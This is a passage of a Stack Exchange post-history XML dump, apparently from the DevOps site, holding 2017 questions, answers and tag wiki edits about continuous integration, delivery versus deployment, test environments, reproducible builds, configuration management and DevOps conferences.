Caveat emptor!" ContentLicense="CC BY-SA 3.0" />
  <row Id="1536" PostHistoryTypeId="5" PostId="468" RevisionGUID="db3b25b3-92b2-4bae-a98c-a22621a612d1" CreationDate="2017-03-12T07:42:38.653" UserId="201" Comment="Improved grammar and ease of understanding" Text="Good developers should fit rule 11 of the [Joel Test][1]:&#xD;&#xA;&#xD;&#xA;&gt;  Do new candidates write code during their interview?&#xD;&#xA;&#xD;&#xA; However, I know little to nothing about Docker containers, how to configure Jenkins or AWS, etc. What would be a good way to test if the person who applies can manage such tasks?&#xD;&#xA;&#xD;&#xA;Sub-questions: I believe that a good devops employee can configure the build chain once and it should work from then on out. Can I then also expect him or her to be a developer in the company (DEVops)? As DevOps is a relatively &quot;new&quot; job, is it maybe better for small companies to share a devops employee or hire him or her as a freelancer whenever you need him or her?&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;My confusion about the term originates from job offers like this, even [here on stackexchange][3] (= link where above screenprint was taken from).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.joelonsoftware.com/2000/08/09/the-joel-test-12-steps-to-better-code/&#xD;&#xA;  [2]: https://i.stack.imgur.com/omE6J.png&#xD;&#xA;  [3]: http://stackoverflow.com/jobs/135988/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1537" PostHistoryTypeId="24" PostId="468" RevisionGUID="db3b25b3-92b2-4bae-a98c-a22621a612d1" CreationDate="2017-03-12T07:42:38.653" Comment="Proposed by 201 approved by 271, 40 edit id of 144" ContentLicense="CC BY-SA 3.0" />
  <row Id="1538" PostHistoryTypeId="2" PostId="493" RevisionGUID="009ad606-1bd8-4ee1-a930-19eb83f7216e" CreationDate="2017-03-12T10:13:15.060" UserId="460" Text="Continuous delivery and continuous deployment both take continuous integration one step further, by adding a 'deployment to production' step to the process.&#xD;&#xA;The difference between continuous delivery and deployment is that for delivery this step is done manually and for deployment is it automatic. &#xD;&#xA;&#xD;&#xA;[![Difference between Continuous Integration, Continuous Delivery and Continuous Deployment][1]][1]&#xD;&#xA;&#xD;&#xA;*Difference between Continuous Integration, Continuous Delivery and Continuous Deployment. Picture copied from [codeproject.com](https://www.codeproject.com/articles/1078439/what-is-continuous-integration-and-why-do-you-need)*&#xD;&#xA;&#xD;&#xA;Whether you do continuous delivery or continuous deployment is very much an implementation choice. If you do continuous deployment, changes in code will be deployed automatically after the acceptance tests are passed. This may or may not be desirable for your product. With continuous delivery, people can make a choice whether a particular code change  is deployed or not (and possibly where exactly it is deployed). &#xD;&#xA;&#xD;&#xA;Since the difference between continuous delivery and deployment is small and many people are unaware of the exact difference, the two terms are sometimes used interchangeably.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/yOofB.png&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1539" PostHistoryTypeId="2" PostId="494" RevisionGUID="119aa207-bf14-40d2-b57f-ff37a25accce" CreationDate="2017-03-12T10:38:38.643" UserId="40" Text="The accepted answer to my question about &quot;http://devops.stackexchange.com/questions/488&quot; also explains the ***small difference*** between *continuous delivery* and *continuous deployment*. It appears to be related to the answer to a question like &quot;How do you want to deploy to production, whereas these are the (exclusive) options to pick from:&#xD;&#xA;&#xD;&#xA;- Auto(matic).&#xD;&#xA;- Manual.&#xD;&#xA;&#xD;&#xA;I cannot imagine that there will be a poor &quot;operator&quot; at the other side of the DevOps wall, who is going to have to do something that corresponds to whatever that &quot;manual&quot; means ... My questions:&#xD;&#xA;&#xD;&#xA;- Is my reference (in my question) to &quot;distribute&quot; versus &quot;install&quot; close to a possible implementation of such &quot;manual&quot;-thing? Here is a relevant quote of my related question:&#xD;&#xA;&#xD;&#xA;&gt; - ***distribute*** to some target environment, using something like FTP (if standard copies cannot bridge the gap), but do not yet activate it in the target. That's what should be similar/close to _continuous delivery_, or not?&#xD;&#xA;&gt; - ***install*** (or *activate*) in some target environment, combined with things like binds, stop/start operations, etc. That's what should be similar/close to _continuous deployment_, or not?&#xD;&#xA;&#xD;&#xA;- What are other possible implementations of it?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1540" PostHistoryTypeId="1" PostId="494" RevisionGUID="119aa207-bf14-40d2-b57f-ff37a25accce" CreationDate="2017-03-12T10:38:38.643" UserId="40" Text="How to implement the manual step at the end of continuous delivery?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1541" PostHistoryTypeId="3" PostId="494" RevisionGUID="119aa207-bf14-40d2-b57f-ff37a25accce" CreationDate="2017-03-12T10:38:38.643" UserId="40" Text="&lt;continuous-delivery&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1542" PostHistoryTypeId="5" PostId="489" RevisionGUID="5f497402-f52d-4659-a2ed-19230bcb9544" CreationDate="2017-03-12T12:31:40.683" UserId="491" Comment="added 442 characters in body" Text="Continuous delivery and continuous deployment (CD) are more or less the same thing*. Every time a change is considered 'good to go' (tested/verified) it should be release immediately. You can do this as many times a day as there is work completed.&#xA;&#xA;Continuous integration (CI) only refers to merging code together often to ensure that feature branches don't veer too far away from your main 'master' branch, and also so that you know very quickly if there are any problems with the code from an integration perspective - i.e. Did you break any functionality while changing stuff.&#xA;&#xA;As far as how they relate to each other, CI helps greatly to verify code so that it can be released quickly (CD). You can still achieve CD without CI (and vice versa), but you will find that often it makes life much easier to integrate your code early and often to find problems quicker, which in turn will allow you to fix said problems quicker, and finally deliver your features quicker!&#xA;&#xA;*Edit: here is an article discussing the difference. https://puppet.com/blog/continuous-delivery-vs-continuous-deployment-what-s-diff&#xA;Continuous delivery does not always mean actually deploying to production at all times, rather it means constant deployment into a production-like environment, with confidence that those changes could go to production at any time once the business is ready. In practice, most people conflate these terms. &#xA;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1544" PostHistoryTypeId="5" PostId="484" RevisionGUID="27e843ff-5f42-4a3d-9d04-1fa0218f24b8" CreationDate="2017-03-12T14:32:19.590" UserId="36" Comment="Edited to narrow scope and clarify intent as this is currently attracting opinionated answers with no sources." Text="How can I persuade developers on my team to embrace &quot;You build it, you run it&quot;? By that, I have [this quote from Werner Vogels][1] in mind:&#xD;&#xA;&#xD;&#xA;&gt; Giving developers operational responsibilities has greatly enhanced&#xD;&#xA;&gt; the quality of the services, both from a customer and a technology&#xD;&#xA;&gt; point of view. The traditional model is that you take your software to&#xD;&#xA;&gt; the wall that separates development and operations, and throw it over&#xD;&#xA;&gt; and then forget about it. Not at Amazon. You build it, you run it.&#xD;&#xA;&gt; This brings developers into contact with the day-to-day operation of&#xD;&#xA;&gt; their software. It also brings them into day-to-day contact with the&#xD;&#xA;&gt; customer. This customer feedback loop is essential for improving the&#xD;&#xA;&gt; quality of the service.&#xD;&#xA;&#xD;&#xA;I'm specifically thinking of a set of developers that:&#xD;&#xA;&#xD;&#xA;* Were hired into a developer role, with little/no mention of ops-related tasks.&#xD;&#xA;* Traditionally have &quot;thrown code over the wall&quot; to an ops team.&#xD;&#xA;* Traditionally have a 9-5 work schedule, and are actively hostile to the idea of &quot;pager duty&quot;, participating in disaster recovery, writing post-mortems, etc, *especially* outside of normal business hours. (Note: I only have very infrequent outages in mind for this; I am not proposing that we add after-hours customer support to this team's workload.)&#xD;&#xA;* Are not currently responsible for writing/supporting monitoring or alerting on their applications.&#xD;&#xA;&#xD;&#xA;Suppose there is a team that is rapidly developing new cloud micro-services with a profile that is getting to be such that handing these services off to an ops team is sub-optimal because they can't keep up in regards to gaining deep knowledge of the services that is required to effectively manage and monitor them.  &quot;You build it, you run it&quot; would work better for this team because tasks could delegated to each responsible team member. So this team would begin taking part in designing infrastructure, monitoring/alerting tools for the services, and (very infrequently) responding to outage events.&#xD;&#xA;&#xD;&#xA;I am specifically interested in methodologies, backed up by real world examples.  How this been successfully implemented in other workplaces, and if there any canonical steps to follow while implementing this?  Any links to write-ups that can support answers would be very helpful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://queue.acm.org/detail.cfm?id=1142065" ContentLicense="CC BY-SA 3.0" />
  <row Id="1545" PostHistoryTypeId="5" PostId="490" RevisionGUID="9b7899e1-644e-4a38-8e17-eb7098285e56" CreationDate="2017-03-12T14:47:54.683" UserId="47" Comment="added clarification following comment" Text="A certain version of a software product must first complete its integration stage before it can be delivered or deployed.&#xD;&#xA;&#xD;&#xA;For *continous* delivery/deployment *continuous* integration is a must. Otherwise, if the integration completed events are too far apart to qualify for the &quot;continuous&quot; attribute then so are the possible deliveries/deployments (only a subset of the integrated versions typically qualify for deliveries/deployment).&#xD;&#xA;&#xD;&#xA;Update: My answer only underlines the dependency (relationship) between CI and (both) CDs, the terminology is pretty well covered by THelper's answer.&#xD;&#xA;&#xD;&#xA;The only comment I'd have to that is about the (overloaded) use of `deployment`. Deployments in non-production environments are a real thing. They can even happen often-enough - done, for example, as part of various testing stages during continuous delivery. But that doesn't make such deployments `continuous deployments`. Continuous deployments refers specifically to deployments in the production environment.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1546" PostHistoryTypeId="2" PostId="495" RevisionGUID="4503b2b7-30b8-4ffe-8593-996c54c35292" CreationDate="2017-03-12T15:41:00.340" UserId="47" Text="Personally I consider the `distribution` of the software to a target just an intermediary step of a deployment - installation/activation of that software being necessary to complete that deployment.&#xD;&#xA;&#xD;&#xA;To me the `delivery` (as in `continuos delivery`) stops when the software to be deployed is created and made *available* for deployment (i.e. for distribution, installation and activation)&#xD;&#xA;&#xD;&#xA;So, to answer your 1st question, no, I wouldn't consider distribution and installation as reflecting the manual step differentiating continous delivery from continous deployment.&#xD;&#xA;&#xD;&#xA;Yes, in some (hopefully rare) cases that manual step is just the final human decision for deploying into production, reflecting the cultural mistrust in process automation and the mental comfort of having a human double-checking and signing off the deployment decision (thus assuming responsability for it) even if that decision is purely made based on an algorithm that can be automated (like counting pass/fail testing results).&#xD;&#xA;&#xD;&#xA;But in general it simply reflects the fact that the decision for performing the deployment in production is not simply the result of an automated algorithm. Here would be some example such cases:&#xD;&#xA;&#xD;&#xA;- the automated decision is overwritten &#xD;&#xA;  - deployment can be signed off even if not all quality criteria are met (we all know that this is not just a theoretical case)&#xD;&#xA;  - the deployment is held for whatever reason, even if all criteria is met (due to market timing implications for example)&#xD;&#xA;- the automated algorithm is not (yet) implemented/deployed&#xD;&#xA;- the algorithm includes checks for some criteria depending on human decisions (say results from manual testing)&#xD;&#xA;- deployment is actually done in a 3rd party customer environment, following additional customer checks&#xD;&#xA;&#xD;&#xA;So I wouldn't look at the manual step simply as an implementation issue." ContentLicense="CC BY-SA 3.0" />
  <row Id="1547" PostHistoryTypeId="5" PostId="293" RevisionGUID="1c36e094-306b-4547-a2fd-c8aae724c5cd" CreationDate="2017-03-12T15:54:38.570" UserId="460" Comment="added usage excerpt, added link to continuous-deployment tag" Text="Continuous Delivery (CD) is the process of delivering software updates to users frequently, with little delay after implementing and testing code changes. To be able to do this the software development process has to be streamlined and [tag:continuous-integration] is generally seen a prerequisite for continuous-delivery.&#xD;&#xA;&#xD;&#xA;Continuous delivery is often seen as synonymous to [tag:continuous-deployment], but strictly speaking the terms are different. For continuous delivery the last step between acceptance testing and deployment is a manual one. For continuous deployment this step is automated, deployment is always done as part of the process." ContentLicense="CC BY-SA 3.0" />
  <row Id="1548" PostHistoryTypeId="24" PostId="293" RevisionGUID="1c36e094-306b-4547-a2fd-c8aae724c5cd" CreationDate="2017-03-12T15:54:38.570" Comment="Proposed by 460 approved by 40, 47 edit id of 145" ContentLicense="CC BY-SA 3.0" />
  <row Id="1549" PostHistoryTypeId="5" PostId="294" RevisionGUID="da6223ce-0792-4ec5-b023-d2b17f9b3d77" CreationDate="2017-03-12T15:54:56.783" UserId="460" Comment="added usage excerpt, added link to continuous-deployment tag" Text="Use this tag for questions about manually deploying software to a production environment as part of a CI pipeline. For questions about automatic deployment to production use the [continuous-deployment] tag." ContentLicense="CC BY-SA 3.0" />
  <row Id="1550" PostHistoryTypeId="24" PostId="294" RevisionGUID="da6223ce-0792-4ec5-b023-d2b17f9b3d77" CreationDate="2017-03-12T15:54:56.783" Comment="Proposed by 460 approved by 40, 47 edit id of 146" ContentLicense="CC BY-SA 3.0" />
  <row Id="1551" PostHistoryTypeId="2" PostId="496" RevisionGUID="a3a160f5-6741-47d7-8412-f2617f2558d5" CreationDate="2017-03-12T18:54:09.240" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1552" PostHistoryTypeId="1" PostId="496" RevisionGUID="a3a160f5-6741-47d7-8412-f2617f2558d5" CreationDate="2017-03-12T18:54:09.240" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1553" PostHistoryTypeId="2" PostId="497" RevisionGUID="6623422e-f22c-48e0-8df3-ee7ecd8be4d9" CreationDate="2017-03-12T18:54:09.240" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1554" PostHistoryTypeId="1" PostId="497" RevisionGUID="6623422e-f22c-48e0-8df3-ee7ecd8be4d9" CreationDate="2017-03-12T18:54:09.240" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1555" PostHistoryTypeId="2" PostId="498" RevisionGUID="6996aad3-1bd4-40dd-ac32-62e0a9905be6" CreationDate="2017-03-12T19:12:47.747" UserId="40" Text="Assume you're using continuous integration processes which frequently update some target environments, so that every time there are some changes &quot;you&quot; can test your changes right away. That's part of the goals of CI, no?&#xD;&#xA;&#xD;&#xA;But, also assume that you have other people involved in your test cycle, e.g. managers or customers. Makes sense to get other people involved in trying to review (break?) your upcoming changes, no?&#xD;&#xA;&#xD;&#xA;But if you **continuously** keep delivering changes in the environment in which those other people are, seriously, trying to test them, then multiple issues may arise, such as:&#xD;&#xA;&#xD;&#xA;- **`they`** might waste their time in reporting issues which, by the time they save the (in depth) report, they cannot even reproduce the issue themselves anymore (e.g because accidently you also ran into the same issue, and already fixed it in their environment).&#xD;&#xA;- **`you`** might not be able to reproduce issues they reported, since the environments in which they ran into some issue, is no longer identical (you (!!!) might have overlayed their environment).&#xD;&#xA;&#xD;&#xA;So what can you do (how to configure things?) to avoid such (frustrating) situations?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1556" PostHistoryTypeId="1" PostId="498" RevisionGUID="6996aad3-1bd4-40dd-ac32-62e0a9905be6" CreationDate="2017-03-12T19:12:47.747" UserId="40" Text="How to avoid continuous integration leads to unstable test environments?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1557" PostHistoryTypeId="3" PostId="498" RevisionGUID="6996aad3-1bd4-40dd-ac32-62e0a9905be6" CreationDate="2017-03-12T19:12:47.747" UserId="40" Text="&lt;continuous-integration&gt;&lt;testing&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1558" PostHistoryTypeId="2" PostId="499" RevisionGUID="2e759829-dc9d-4dec-966d-ec8309226b3b" CreationDate="2017-03-12T20:20:42.557" UserId="57" Text="The usual approach is to create different environments:&#xD;&#xA;&#xD;&#xA;DEV - this is the place where dev team mess the things. Here are create all changes tunings, deploy new version and so on. Here is the place where CI is integrated fully.&#xD;&#xA;&#xD;&#xA;PREPROD/QA - this is the place &quot;play&quot; QA/test/validation team do tests. This environment usually freeze during the tests. Integration of CI with this environment is only to provide new version of the product, configurations, etc.&#xD;&#xA;&#xD;&#xA;PRODUCTION - is it need to explain :)?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1559" PostHistoryTypeId="2" PostId="500" RevisionGUID="6a14e059-2e9f-41b3-93c5-0d78001191ed" CreationDate="2017-03-12T21:02:40.237" UserId="677" Text="One additional consideration if you are publishing something that you are expecting other projects to consume, deploy also takes on the meaning of &quot;publishing for others to use&quot;&#xA;&#xA;Consider a workflow where you deploy a library to a common artifact repository. This part of the process might be part of you deploying another component which requires that artifact at build time or it might simply be an update to a common library. But regardless, for that artifact, it's life cycle doesn't necessarily end by being made available for consumption by others, but the deployment of that artifact to the artifact repository may be the final stage in the developers work after they have decided to cut a new release version and before others can safely consume the new version." ContentLicense="CC BY-SA 3.0" />
  <row Id="1560" PostHistoryTypeId="2" PostId="501" RevisionGUID="471dd94d-1af2-4dc4-af43-15f2c3322c0a" CreationDate="2017-03-12T21:15:50.923" UserId="677" Text="To provide a practical example of an attempt at creating a truly repeatable build consider the following -&#xA;&#xA;A build pipeline which starts with a git repository for which no user can ever rewrite history or delete unmerged branches.&#xA;&#xA;The first &quot;build&quot; step after checking out the source code is to spin up a container which contains all the build time dependencies.&#xA;&#xA;The output of the build time container running is a container which contains the compiled binary.&#xA;&#xA;More important to the repeatability of the build the following tags are added to the final container:&#xA; &#xA; - The exact hash of the source code in the original repository and the url of both the git repo and a tar ball snapshot of the code that is uploaded to an artifact repository. &#xA; - The exact version of the build container that was used to run the build.&#xA; - The exact version of the original base image that the binary was loaded into.&#xA; - The values of all build-time variables used to create the binary.&#xA; - The version of docker that all three containers where built with as well as the version they where running under when they built.&#xA;&#xA;By adding all of this meta data we can ensure that at any point in the future we can pull out the exact set of build dependencies (via the build container), compile the binary with an exact known set of steps (enshrined on the build container) and package this into another known base image with all run-time dependencies (using the base image tag) and this can all be based on the exact correct version of the source code based on the tag on the container.&#xA;&#xA;Theoretically this should give us he ability to exactly reproduce a build version.&#xA;&#xA;The importance of this is that it allows us to look at what's running in production and, even if everything has progressed versions significantly, go back and pull out the version of code, base image and build container originally used so that we can, for example, apply a hot fix to that version before rebuilding exactly as before so that we can redeploy knowing that it is exactly the same artifact with the only delta being the hot fix. " ContentLicense="CC BY-SA 3.0" />
  <row Id="1561" PostHistoryTypeId="2" PostId="502" RevisionGUID="4bf29a09-4610-40cf-9756-4299ab6af9c0" CreationDate="2017-03-12T21:35:15.127" UserId="677" Text="I've had two runs at doing environment variables in a scalable way and neither has ended up perfect because,  as I've discovered, is a very tricky thing to get right. I'll give a summary of both of my experiences below:&#xA;&#xA;**Common Factors**&#xA;&#xA; - Environment variables are stored in a separate repository from the original source code (they are submoduled together but are still based on separate repos)&#xA; - There is a serperate &quot;build&quot; process for the artifact and it's variables.&#xA; - There is **not** a seperate release process for the environment variables. If you want to change environment variables you need to go through the same change review boards and usual&#xA;&#xA;**Using Consul KV Pairs** &#xA;&#xA;The environment variables are loaded from an artifact repository (never the original git repo) and loaded into a namespaced KV pair tree, for example&#xA;&#xA;/env/dev1/my/application/v1.1.1&#xA;&#xA;Where the preceding dev1 is the name of the environment, the my/application is the application namespace, and the v1.1.1 is the version of the environment variables to use.&#xA;&#xA;To developers all these things are invisible. At runtime the platform checks that the environment exists in the current consul cluster (if it doesn't there's a problem and it's errors out), it then checks the subtree for the applications namespace (this way there can be no cross contamination where one app references another apps vars) then the version number of the configuration is taken from label connected to the deployable artifact. Updating this label is the key thing here because it means if we lost both production data centres we could stand up the environment again by simple reading the meta data from our deployable artifacts and loading *all the environment variables* into the KV store.&#xA;&#xA;*Problems With This Approach*&#xA;Developers always, and I mean every single time, found a way to slip configuration changes into the environment that had significant impacts to how the application would run. Because it always ended up being easier to get configuration changes approved than code changes.&#xA;&#xA;**Storing a &quot;Deployment&quot; Artifact with variables embedded**&#xA;&#xA;This tightly couples the exact version of the artifact to the version of configuration. If you changed configuration then you had to rebuild this deployment artifact.&#xA;&#xA;The deployment artifact itself was essentially a yaml file which contained the URL to the releasable binary and all the configuration attached to it.&#xA;&#xA;The platform contains componentry to read variables and then out them into the process tree of the application when it starts up.&#xA;&#xA;This has so far been a lot more successful because there is an artifact we can trace the history of and which we can hold up to any review board and say &quot;this is the only artifact we care about, we don't need t look at any other changes, only changes to this thing&quot; (ie. Version of application to deploy,  environment variables included etc.&#xA;&#xA;This makes it just a little bit harder for developers to try and build logic into their application that will change its behaviour based on variables so they can slip in changes without going through appropriate testing cycles.&#xA;&#xA;**Bonus Points**&#xA;&#xA;Consider application secrets. Our solution to this has so far been to provide a public RSA key which development teams use to encrypt an extended Java key store (almost every language has a library somewhere that can read Java keys stores) this is then treated like a third type of artifact and is pulled onto the server, decrypted with our platform private key, and provided to the application at run time.&#xA;&#xA;Admittedly secrets management is its own can of worms. But it's probably worth considering." ContentLicense="CC BY-SA 3.0" />
  <row Id="1562" PostHistoryTypeId="5" PostId="497" RevisionGUID="4b1f9ec1-69d6-4c10-a23b-7e6722b620b9" CreationDate="2017-03-12T21:37:07.980" UserId="460" Comment="added 206 characters in body" Text="Use this tag for questions about automatically deploying software to a production environment as part of a CI pipeline. For questions about manual deployment to production use the [continuous-delivery] tag." ContentLicense="CC BY-SA 3.0" />
  <row Id="1563" PostHistoryTypeId="24" PostId="497" RevisionGUID="4b1f9ec1-69d6-4c10-a23b-7e6722b620b9" CreationDate="2017-03-12T21:37:07.980" Comment="Proposed by 460 approved by 40, 47 edit id of 147" ContentLicense="CC BY-SA 3.0" />
  <row Id="1564" PostHistoryTypeId="2" PostId="503" RevisionGUID="c031e257-718e-4560-94a5-7ab69e93fdc6" CreationDate="2017-03-12T21:41:10.170" UserId="677" Text="To add to Romeo Ninovs answer, internally within an environment you need to try and seperate out the applications as much as possible. This is partially why docker has been so successful for dev/test. It let's you almost pretend that you aren't sharing an environment at all.&#xA;&#xA;The other option is to have very clearly defined servers on which the applications run which are seperate from the rest of the infrastructure that makes up your environment. Ie. All the environment management or enablement machinery goes on seperate, long lived servers. Then you hook in new short lived servers based on a known image to test an application and, if any changes are made to the base image,  you need to apply those changes **everywhere** for every new component. Which means testing the changes against everything.&#xA;&#xA;If an appdev team ask for a change that breaks someone else's application, then tough luck, they need to internally create a mitigant in their code and keep their specific requirements seperate from the environments offering." ContentLicense="CC BY-SA 3.0" />
  <row Id="1565" PostHistoryTypeId="2" PostId="504" RevisionGUID="55948721-8707-48ea-9ff5-a7d825b4e676" CreationDate="2017-03-13T04:52:41.850" UserId="46" Text="This is a similar question like the [Statistics Conferences question at CrossValidated][1]&#xD;&#xA;&#xD;&#xA;What are the most significant annual Devops or Devops-related conferences?&#xD;&#xA;&#xD;&#xA;Rules:&#xD;&#xA;&#xD;&#xA; - Include a link to the conference&#xD;&#xA; - Please include links for the talks (be it youtube, the conference site or some other video streaming site)&#xD;&#xA;&#xD;&#xA;  [1]: http://stats.stackexchange.com/questions/1904/statistics-conferences" ContentLicense="CC BY-SA 3.0" />
  <row Id="1566" PostHistoryTypeId="1" PostId="504" RevisionGUID="55948721-8707-48ea-9ff5-a7d825b4e676" CreationDate="2017-03-13T04:52:41.850" UserId="46" Text="Devops conferences?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1567" PostHistoryTypeId="3" PostId="504" RevisionGUID="55948721-8707-48ea-9ff5-a7d825b4e676" CreationDate="2017-03-13T04:52:41.850" UserId="46" Text="&lt;conferences&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1568" PostHistoryTypeId="2" PostId="505" RevisionGUID="4c6c3788-d496-4f9b-9ae0-1cd5499c735e" CreationDate="2017-03-13T04:57:37.700" UserId="46" Text="[Velocity Conference][1] is one of the most popular Devops conferences, and also is an O'Reilly conference.&#xD;&#xA;&#xD;&#xA;From it's website: &#xD;&#xA;&#xD;&#xA;&gt; At Velocity, systems, site reliability, and systems engineers, systems&#xD;&#xA;&gt; architects, and application developers learn to build and manage fast,&#xD;&#xA;&gt; resilient, and highly available websites and apps.&#xD;&#xA;&#xD;&#xA;The videos of the conference are present on [O'Reilly's youtube channel][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://conferences.oreilly.com/velocity&#xD;&#xA;  [2]: https://www.youtube.com/user/OreillyMedia/search?query=velocity" ContentLicense="CC BY-SA 3.0" />
  <row Id="1569" PostHistoryTypeId="5" PostId="466" RevisionGUID="07dcfa88-2cea-4857-b478-a4b2966fb0b5" CreationDate="2017-03-13T08:00:46.383" UserId="184" Comment="Removed trivial comment" Text="The question about &quot;http://devops.stackexchange.com/q/452/40&quot; contains an answer with an [interesting explanation][1] about the repository part of it.&#xD;&#xA;And from reading the entire answer, I am not sure what exactly an &quot;*artifact*&quot; means in the context of DevOps.&#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;Ps: From one of the answers I seem to understand that maybe **artefact** is what I'm wondering (confused?) about ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/a/453/40" ContentLicense="CC BY-SA 3.0" />
  <row Id="1570" PostHistoryTypeId="24" PostId="466" RevisionGUID="07dcfa88-2cea-4857-b478-a4b2966fb0b5" CreationDate="2017-03-13T08:00:46.383" Comment="Proposed by 184 approved by 40 edit id of 148" ContentLicense="CC BY-SA 3.0" />
  <row Id="1571" PostHistoryTypeId="5" PostId="504" RevisionGUID="1e1e0019-21a9-41ef-91fe-3b8e5277effb" CreationDate="2017-03-13T08:33:23.903" UserId="46" Comment="added 3 characters in body" Text="This is a similar question like the [Statistics Conferences question at CrossValidated][1]&#xD;&#xA;&#xD;&#xA;What are the Devops or Devops-related conferences happening around the world?&#xD;&#xA;&#xD;&#xA;Rules:&#xD;&#xA;&#xD;&#xA; - Include a link to the conference&#xD;&#xA; - Please include links for the talks (be it youtube, the conference site or some other video streaming site)&#xD;&#xA;&#xD;&#xA;  [1]: http://stats.stackexchange.com/questions/1904/statistics-conferences" ContentLicense="CC BY-SA 3.0" />
  <row Id="1572" PostHistoryTypeId="2" PostId="506" RevisionGUID="c147211a-5381-453c-8b0a-1a52d4155a56" CreationDate="2017-03-13T08:33:27.990" UserId="40" Text="This question reminded me about this quote about the [Etymology of DevOps, From Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; At the Agile 2008 conference, Andrew Clay Shafer and Patrick Debois discussed &quot;[Agile Infrastructure][2]&quot;. The term DevOps was popularized through a series of [&quot;devopsdays&quot; starting in 2009 in Belgium][3]. Since then, there have been devopsdays conferences, held in [many countries, worldwide][4].&#xD;&#xA;&#xD;&#xA;So at the risk it may not 100% fit the rules in your question, I thought I'd post what, IMO, is &quot;the reference&quot; to get an up-to-date answer if you ever wonder something like&#xD;&#xA;&#xD;&#xA;&gt; **What's up in DevOps-land?**&#xD;&#xA;&#xD;&#xA;In such case, you probably can find the answer to your question at http://www.devopsdays.org/ .&#xD;&#xA;&#xD;&#xA;At this very moment, it shows links to these locations:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;  Beijing - Vancouver - Denver - Atlanta - Tokyo - Seattle - Zürich - Austin - Stockholm - Salt Lake City - Toronto - Amsterdam - Washington, DC - Minneapolis - Portland - Dallas - Raleigh - Chicago - Detroit - Istanbul - Paris - Hartford - Philadelphia - Oslo - Cape Town&#xD;&#xA;&#xD;&#xA;PS: From the above quote, it should also be clear what the relationship is with DevOps and Chocolats, Beer, Fries and ... Drupal.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.m.wikipedia.org/wiki/DevOps&#xD;&#xA;  [2]: http://www.jedi.be/blog/2008/10/09/agile-2008-toronto-agile-infrastructure-and-operations-presentation/&#xD;&#xA;  [3]: http://www.devopsdays.org/events/2009-ghent/&#xD;&#xA;  [4]: http://www.devopsdays.org/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1573" PostHistoryTypeId="5" PostId="476" RevisionGUID="e307eebc-8091-4e8c-bc0c-f89c93e8f969" CreationDate="2017-03-13T08:41:36.830" UserId="47" Comment="added 307 characters in body" Text="[Atlassian's Bamboo][1] is a [tag:continuous-integration] server capable of building and testing the code as well as managing deployments/delivery and releases.&#xD;&#xA;&#xD;&#xA;See also [Wikipedia's Bamboo][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.atlassian.com/software/bamboo&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Bamboo_(software)" ContentLicense="CC BY-SA 3.0" />
  <row Id="1574" PostHistoryTypeId="24" PostId="476" RevisionGUID="e307eebc-8091-4e8c-bc0c-f89c93e8f969" CreationDate="2017-03-13T08:41:36.830" Comment="Proposed by 47 approved by 40, 13 edit id of 141" ContentLicense="CC BY-SA 3.0" />
  <row Id="1575" PostHistoryTypeId="5" PostId="290" RevisionGUID="b8b671f1-493c-4f8e-9391-0b4a55396aa5" CreationDate="2017-03-13T08:41:51.430" UserId="47" Comment="formatted tag reference" Text="Continuous-Integration (CI) is the process of merging developer's working code copies to a shared codebase frequently and test it to prevent or  quickly identify and resolve integration problems. The idea is that developers write and commit small pieces of code and check several times a day if their code alterations breaks existing functionality.&#xD;&#xA;&#xD;&#xA;There are many (server) systems that facilitate continuous integration and the work they do is often also called continuous integration. This usually includes (but is not limited to) code compilation and executing unit and integration tests. Some often-used CI software include:&#xD;&#xA;&#xD;&#xA; - [tag:Jenkins]&#xD;&#xA; - [tag:Travis-CI]&#xD;&#xA; - [tag:CircleCI]&#xD;&#xA; - [tag:TeamCity]&#xD;&#xA; - Microsoft Team Foundation&#xD;&#xA; - [tag:Bamboo]&#xD;&#xA;&#xD;&#xA;A comparison of CI software can be found on [Wikipedia](https://en.wikipedia.org/wiki/Comparison_of_continuous_integration_software)&#xD;&#xA;&#xD;&#xA;Continuous-integration is generally seen as a first step to achieve [tag:continuous-delivery] and [tag:continuous-deployment]. &#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Usage&lt;/h2&gt;&#xD;&#xA;Use this tag for questions about continuous integration in general. For questions about specific CI software it's best to use the tag for that system (if one exists).&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1576" PostHistoryTypeId="24" PostId="290" RevisionGUID="b8b671f1-493c-4f8e-9391-0b4a55396aa5" CreationDate="2017-03-13T08:41:51.430" Comment="Proposed by 47 approved by 40, 13 edit id of 143" ContentLicense="CC BY-SA 3.0" />
